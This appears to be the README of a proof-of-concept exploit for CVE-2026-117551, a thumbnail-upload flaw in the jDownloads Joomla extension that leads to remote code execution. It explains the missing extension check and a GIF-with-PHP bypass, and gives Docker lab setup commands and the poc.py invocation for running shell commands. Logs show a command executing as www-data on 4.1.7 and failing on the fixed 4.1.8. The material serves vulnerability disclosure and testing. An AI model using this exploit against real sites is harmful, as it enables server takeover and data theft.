
POC exploit for CVE-2026-117551 - frontend thumbnail upload to PHP RCE in the jDownloads Joomla extension. Vulnerable 4.1.7 vs fixed 4.1.8 control included.
The download-manager extension jDownloads (com_jdownloads) for Joomla! 5/6
ships a frontend submit form that lets upload-capable users attach preview
screenshots ("thumbnails") to a download submission. Across every release
from 1.0.0 to 4.1.7 the server-side handler for those thumbnail files never
validates the filename extension. The only image checks are a string
comparison against the client-supplied multipart Content-Type and a
getimagesize() pass plus a weak PHP-string blacklist - all satisfiable by a
well-formed GIF with appended PHP in short-echo syntax. The sanitized
filename keeps its original extension, and the file is moved with
File::upload(..., $allow_unsafe = true) into the web-served folder
images/jdownloads/screenshots/, where Apache executes it as PHP. The
result is remote code execution with the web server user's privileges.
Fixed in 4.1.8 by an extension allowlist with hard failures; no fix exists
on any older release line.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A,
per the Joomla CNA); CWE-434core.create on the jDownloads
component or category (checked by DownloadController::allowAdd()); a
default install grants that only to Manager and above. The published
vector's PR:N reflects that site operators routinely grant this permission
to open groups (Registered and Public) to enable user submissions - on any
such site, a self-registered account reaches the vulnerable upload path.
Both halves were verified empirically in the lab (guest and unprivileged
Registered are refused; a Registered account after the documented
permission grant triggers RCE).Bring up the two lab targets (vulnerable jDownloads 4.1.7 and fixed 4.1.8, both on Joomla 5.4.7 / php:8.4-apache / MariaDB):
bash setup/fetch-packages.sh # vendor zips into the build context
docker compose -p cve-2026-117551 --profile vuln up -d --build
docker compose -p cve-2026-117551 --profile vuln exec jdownloads-vuln bash /setup/install.sh
# control run:
docker compose -p cve-2026-117551 --profile fixed up -d --build
docker compose -p cve-2026-117551 --profile fixed exec jdownloads-fixed bash /setup/install.sh
Each container auto-installs Joomla (admin / Adm1nPocPass2026). Then configure the target and capture evidence (admin login, jDownloads package install, download category, a lab user in Registered, the precondition probes, the permission grant and the trigger):
python3 setup/configure_lab.py --url http://127.0.0.1:8095 --role vuln \
--evidence evidence/01-trigger-vuln-4.1.7.log
python3 setup/configure_lab.py --url http://127.0.0.1:8096 --role fixed \
--evidence evidence/03-control-fixed-4.1.8.log
Run the PoC directly:
python3 poc.py --url http://127.0.0.1:8095 --username pocuser \
--password PocUser2026! --command "id"
--url base URL of the Joomla site. --username/--password an account
whose group holds the jDownloads upload permission (core.create).
--category numeric id of a frontend download category (default 2, the
first created category). --command command executed through the landed
PHP file (backtick shell, output read from the response).
Vulnerable 4.1.7 (evidence/01-trigger-vuln-4.1.7.log; the same flow in
poc.py prints the same shape):
[probe:guest] save POST -> HTTP 200, final=http://127.0.0.1:8095/index.php/component/jdownloads/categories?Itemid=101 denied=True
[login] site login pocuser ok=True
[probe:registered-no-upload-permission] save POST -> HTTP 200, final=http://127.0.0.1:8095/ denied=True
[acl] grant core.create to Registered (group 2) on com_jdownloads: True
[upload] POST -> HTTP 200, final=http://127.0.0.1:8095/index.php?option=com_jdownloads&view=form&layout=edit&a_id=0&catid=2
[upload] response alert: Item submitted.
[landed] GET /images/jdownloads/screenshots/poc117551.php -> HTTP 200
[landed] body after GIF header (non-printables masked):
...........D..;uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux x86_64
[result] remote command execution: YES
The denial probes on a default install (guest, and Registered without the
permission) are refused before the grant; after the documented upload
permission grant the submission succeeds, the thumbnail lands under its
original .php name inside images/jdownloads/screenshots/, and a plain
GET executes it.
Fixed 4.1.8, identical request and identical permission configuration
(evidence/03-control-fixed-4.1.8.log):
[upload] POST -> HTTP 200, final=http://127.0.0.1:8096/index.php?option=com_jdownloads&view=form&layout=edit&a_id=0&catid=2
[upload] response alert: Item submitted.
[landed] GET /images/jdownloads/screenshots/poc117551.php -> HTTP 404
[result] remote command execution: NO
On 4.1.8 the submission itself is stored but the thumbnail is never written:
the extension allowlist added by the fix (png, gif, jpg, jpeg) rejects the
.php upload path and the screenshot directory stays clean, so the follow-up
request 404s.